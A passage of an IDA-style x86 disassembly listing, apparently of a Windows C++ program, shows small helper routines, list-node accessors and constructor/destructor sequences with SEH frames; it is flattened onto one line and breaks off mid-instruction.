esi pop esi retn 4 sub_416090 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4160C0 proc near ; CODE XREF: sub_4010DCj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4018B6 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4160C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4160F0 proc near ; CODE XREF: sub_401EA6j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4160F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416120 proc near ; CODE XREF: sub_401CFDj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4012CB mov edi, eax push edi call sub_4017D5 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401DA2 sub_416120 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4017D5 push edi mov [eax], ebx call sub_4017D5 mov edi, [eax] push edi call sub_4017D5 mov ecx, [eax] push ecx call sub_401BB8 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4017DA add esp, 4 mov ecx, esi push eax call sub_401DFC mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D66 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4161C0 proc near ; CODE XREF: sub_401078j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401EA1 mov ecx, eax call sub_4012CB mov esi, eax push esi call sub_401BB8 push esi mov ebx, eax call sub_4017D5 mov ecx, [eax] push ecx call sub_401BB8 mov edx, [ebx] push esi mov [eax], edx call sub_4017D5 push esi mov ebx, eax call sub_401BB8 mov eax, [eax] push eax call sub_4017D5 mov ecx, [ebx] push esi mov [eax], ecx call sub_4017DA add esp, 1Ch mov ecx, edi push eax call sub_4013F7 push esi mov ecx, edi call sub_401EF6 sub_4161C0 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416280 proc near ; CODE XREF: sub_401401j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jz short loc_4162DA loc_416298: ; CODE XREF: sub_416280+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401EA1 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jnz short loc_416298 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4162DA: ; CODE XREF: sub_416280+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416280 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416310 proc near ; CODE XREF: sub_401DA2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401E9C sub_416310 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_416325 mov edi, esi loc_416325: ; CODE XREF: ___:00416321j push esi call sub_401BB8 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_41633A mov edi, esi loc_41633A: ; CODE XREF: ___:00416336j push esi call sub_4017D5 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416360 proc near ; CODE XREF: sub_401EF6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401857 sub_416360 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416380 proc near ; CODE XREF: sub_401BB8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416380 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163A0 proc near ; CODE XREF: sub_4017DAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4163A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163C0 proc near ; CODE XREF: sub_401E29j mov eax, ecx retn sub_4163C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163E0 proc near ; CODE XREF: sub_401D66j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40160E mov eax, esi pop esi retn 4 sub_4163E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416410 proc near ; CODE XREF: sub_401EA1j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40118B mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_416410 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416440 proc near ; CODE XREF: sub_40144Cj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_416440 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416470 proc near ; CODE XREF: sub_401104j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_416470 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416490 proc near ; CODE XREF: sub_4020D6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416490 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4164C0 proc near ; CODE XREF: sub_401E01j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_4164C0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164E0 proc near ; CODE XREF: sub_402194j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40125D add esp, 8 retn 8 sub_4164E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416510 proc near ; CODE XREF: sub_4014F6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_6 pop ecx retn 4 sub_416510 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416530 proc near ; CODE XREF: sub_401753j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_416530 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416550 proc near ; CODE XREF: sub_401A4Bj mov eax, [ecx] push eax call sub_401EFB add esp, 4 retn sub_416550 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416570 proc near ; CODE XREF: sub_4020EFj push esi mov esi, ecx mov eax, [esi] push eax call sub_40208B mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_416570 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165A0 proc near ; CODE XREF: sub_401CA8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401E56 neg al sbb eax, eax inc eax retn 4 sub_4165A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165D0 proc near ; CODE XREF: sub_401C4Ej mov eax, [ecx] retn sub_4165D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165F0 proc near ; CODE XREF: sub_401163j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4165F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416610 proc near ; CODE XREF: sub_4015A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416610 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416640 proc near ; CODE XREF: sub_4010D7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_416640 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416660 proc near ; CODE XREF: sub_4015E6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_402040 add esp, 8 retn 8 sub_416660 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416690 proc near ; CODE XREF: sub_401D4Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_5 pop ecx retn 4 sub_416690 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166B0 proc near ; CODE XREF: sub_401357j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4166B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166D0 proc near ; CODE XREF: sub_401F6Ej mov eax, [ecx] retn sub_4166D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166F0 proc near ; CODE XREF: sub_4017D5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4166F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416710 proc near ; CODE XREF: sub_401E9Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416710 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416740 proc near ; CODE XREF: sub_401857j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_416740 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416760 proc near ; CODE XREF: sub_401DFCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4020CC add esp, 8 retn 8 sub_416760 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416790 proc near ; CODE XREF: sub_4013F7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_3 pop ecx retn 4 sub_416790 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167B0 proc near ; CODE XREF: sub_40160Ej arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4167B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167D0 proc near ; CODE XREF: sub_4012CBj mov eax, [ecx] retn sub_4167D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167F0 proc near ; CODE XREF: sub_401E56j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4167F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416820 proc near ; CODE XREF: sub_40125Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41683B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41683B: ; CODE XREF: sub_416820+11j retn sub_416820 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416870 proc near ; CODE XREF: sub_402040j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41688B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41688B: ; CODE XREF: sub_416870+11j retn sub_416870 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168C0 proc near ; CODE XREF: sub_4020CCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_4168DB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_4168DB: ; CODE XREF: sub_4168C0+11j retn sub_4168C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] aRrrrrrrrrrrrrr db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0 align 4 dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447148B9h dd 0B508E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) dd 41697068h, 0FF6CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh) dd 447148B9h, 0B2CAE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_416990: ; CODE XREF: ___:00401C44j push 0FFFFFFFFh push offset loc_439FE1 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+9FD83h] mov dword ptr [esp+10h], 1Ah call sub_4021DA ; --------------------------------------------------------------------------- lea ecx, [esi+9FD6Ch] mov byte ptr [esp+10h], 19h call sub_401226 lea ecx, [esi+9FD57h] mov byte ptr [esp+10h], 18h call sub_401226 lea ecx, [esi+9FD42h] mov byte ptr [esp+10h], 17h call sub_401226 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+10h], 16h call sub_401226 lea ecx, [esi+9FC42h] mov byte ptr [esp+10h], 15h call sub_401EE2 lea ecx, [esi+9FC31h] mov byte ptr [esp+10h], 14h call sub_40176C lea ecx, [esi+9FBFFh] mov byte ptr [esp+10h], 13h call sub_401FF5 lea ecx, [esi+9FBCDh] mov byte ptr [esp+10h], 12h call sub_401DED lea ecx, [esi+9FB93h] mov byte ptr [esp+10h], 11h call sub_40187A lea ecx, [esi+9FB05h] mov byte ptr [esp+10h], 10h call sub_401113 lea ecx, [esi+9FAD3h] mov byte ptr [esp+10h], 0Fh call sub_401F28 lea ecx, [esi+9FA73h] mov byte ptr [esp+10h], 0Eh call sub_401B27 lea ecx, [esi+9FA13h] mov byte ptr [esp+10h], 0Dh call sub_4017D0 lea ecx, [esi+8F4BFh] mov byte ptr [esp+10h], 0Ch call sub_4018CA lea ecx, [esi+8F3A2h] mov byte ptr [esp+10h], 0Bh call sub_401EB0 lea ecx, [esi+8F285h] mov byte ptr [esp+10h], 0Ah call sub_402216 lea ecx, [esi+8F270h] mov byte ptr [esp+10h], 9 call sub_4017A3 lea ecx, [esi+8F247h] mov byte ptr [esp+10h], 8 call sub_401A23 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+10h], 7 call sub_4013C0 ; --------------------------------------------------------------------------- lea ecx, [esi+1E6Fh] mov byte ptr [esp+10h], 6 call sub_401235 lea ecx, [esi+1D29h] mov byte ptr [esp+10h], 5 call sub_401E83 lea ecx, [esi+1C58h] mov byte ptr [esp+10h], 4 call sub_4014F1 lea ecx, [esi+1BBEh] mov byte ptr [esp+10h], 3 call sub_401AE6 ; --------------------------------------------------------------------------- lea ecx, [esi+1B46h] mov byte ptr [esp+10h], 2 call sub_401C8F ; --------------------------------------------------------------------------- lea ecx, [esi+15Fh] mov byte ptr [esp+10h], 1 call sub_401929 lea ecx, [esi+3Eh] mov byte ptr [esp+10h], 0 call sub_40143D mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401262 ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C00 proc near ; CODE XREF: sub_401A23j push esi mov esi, ecx mov eax, [esi+15h] mov dword ptr [esi], offset off_43E050 test eax, eax jle short loc_416C17 push eax nop call near ptr 71AB9639h loc_416C17: ; CODE XREF: sub_416C00+Ej mov ecx, esi call sub_402031 pop esi retn sub_416C00 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C30 proc near ; CODE XREF: ___:0040126Cj sub_4019BFj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A23 test [esp+4+arg_0], 1 jz short loc_416C48 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416C48: ; CODE XREF: sub_416C30+Dj mov eax, esi pop esi retn 4 sub_416C30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C60 proc near ; CODE XREF: sub_4017A3j push esi mov esi, ecx mov eax, [esi+11h] mov dword ptr [esi], offset off_43E05C test eax, eax jle short loc_416C77 push eax call near ptr 71AB9639h nop loc_416C77: ; CODE XREF: sub_416C60+Ej mov ecx, esi call sub_402031 pop esi retn sub_416C60 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416C90: ; CODE XREF: ___:00401627j ; ___:loc_401C99j push esi mov esi, ecx call sub_4017A3 test byte ptr [esp+8], 1 jz short loc_416CA8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416CA8: ; CODE XREF: ___:00416C9Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416CC0 proc near ; CODE XREF: sub_40176Cj mov dword ptr [ecx], offset off_43E068 jmp sub_402031 sub_416CC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416CE0: ; CODE XREF: ___:loc_40191Aj ; ___:0040218Aj push esi mov esi, ecx call sub_40176C test byte ptr [esp+8], 1 jz short loc_416CF8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416CF8: ; CODE XREF: ___:00416CEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D10 proc near ; CODE XREF: sub_40187Aj mov dword ptr [ecx], offset off_43E074 add ecx, 4 jmp sub_401023 sub_416D10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416D30: ; CODE XREF: ___:00401E42j push 0FFFFFFFFh push offset loc_43A1C1 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+8], esi call sub_40209F ; --------------------------------------------------------------------------- lea ecx, [esi+3Eh] mov dword ptr [esp+14h], 0 call sub_4015DC lea ecx, [esi+15Fh] mov byte ptr [esp+14h], 1 call sub_40129E lea ecx, [esi+1B46h] mov byte ptr [esp+14h], 2 call sub_401FFA ; --------------------------------------------------------------------------- lea ecx, [esi+1BBEh] mov byte ptr [esp+14h], 3 call sub_4019F1 ; --------------------------------------------------------------------------- lea ecx, [esi+1C58h] mov byte ptr [esp+14h], 4 call sub_40157D lea ecx, [esi+1D29h] mov byte ptr [esp+14h], 5 call sub_401645 lea ecx, [esi+1E6Fh] mov byte ptr [esp+14h], 6 call sub_401776 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+14h], 7 call sub_401695 lea ecx, [esi+8F247h] mov byte ptr [esp+14h], 8 call sub_401820 lea ecx, [esi+8F270h] mov byte ptr [esp+14h], 9 call sub_4016B3 lea ecx, [esi+8F285h] mov byte ptr [esp+14h], 0Ah call sub_401415 lea ecx, [esi+8F3A2h] mov byte ptr [esp+14h], 0Bh call sub_401302 lea ecx, [esi+8F4BFh] mov byte ptr [esp+14h], 0Ch call sub_401271 lea ecx, [esi+8F51Fh] mov byte ptr [esp+14h], 0Dh call sub_401D11 lea ecx, [esi+9FA13h] call sub_4012FD lea ecx, [esi+9FA73h] mov byte ptr [esp+14h], 0Eh call sub_401A7D lea ecx, [esi+9FAD3h] mov byte ptr [esp+14h], 0Fh call sub_401285 lea ecx, [esi+9FB05h] mov byte ptr [esp+14h], 10h call sub_401CA3 lea ecx, [esi+9FB93h] mov byte ptr [esp+14h], 11h call sub_402103 ; --------------------------------------------------------------------------- mov byte ptr [esp+14h], 12h lea ecx, [esi+9FBCDh] call sub_401573 lea ecx, [esi+9FBFFh] mov byte ptr [esp+14h], 13h call sub_40178F lea ecx, [esi+9FC31h] mov byte ptr [esp+14h], 14h call sub_401069 lea ecx, [esi+9FC42h] mov byte ptr [esp+14h], 15h call sub_401073 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+14h], 16h call sub_401424 lea ecx, [esi+9FD42h] mov byte ptr [esp+14h], 17h call sub_401424 lea ecx, [esi+9FD57h] mov byte ptr [esp+14h], 18h call sub_401424 lea ecx, [esi+9FD6Ch] mov byte ptr [esp+14h], 19h call sub_401424 lea eax, [esp+7] lea ecx, [esi+9FD83h] push eax mov byte ptr [esp+18h], 1Ah call sub_401AFA ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416FB0 proc near ; CODE XREF: sub_401262j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_416FB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401B09 sub_416FB0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417020 proc near ; CODE XREF: sub_401929j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417020 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+179Fh] mov [esp+14h+var_4], 3Ch call sub_40206D lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_40206D lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_40206D lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_40206D lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_40206D mov byte ptr [esp+14h+var_4], 37h lea ecx, [esi+0E51h] call sub_401023 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401023 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401023 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401023 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401023 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401023 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401023 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401023 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401023 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401023 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401023 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401023 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401023 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401023 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401023 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401023 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401023 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_401AD2 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_401AD2 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_401AD2 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_401AD2 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_401AD2 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_401AD2 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_401AD2 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_401AD2 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_401AD2 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_401AD2 mov byte ptr [esp+14h+var_4], 1Ch lea ecx, [esi+84Eh] call sub_401AD2 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_401AD2 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_401AD2 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_401AD2 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_401AD2 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_401AD2 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_401AD2 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_401AD2 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_401AD2 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_401AD2 lea ecx, [esi+574h] mov byte ptr 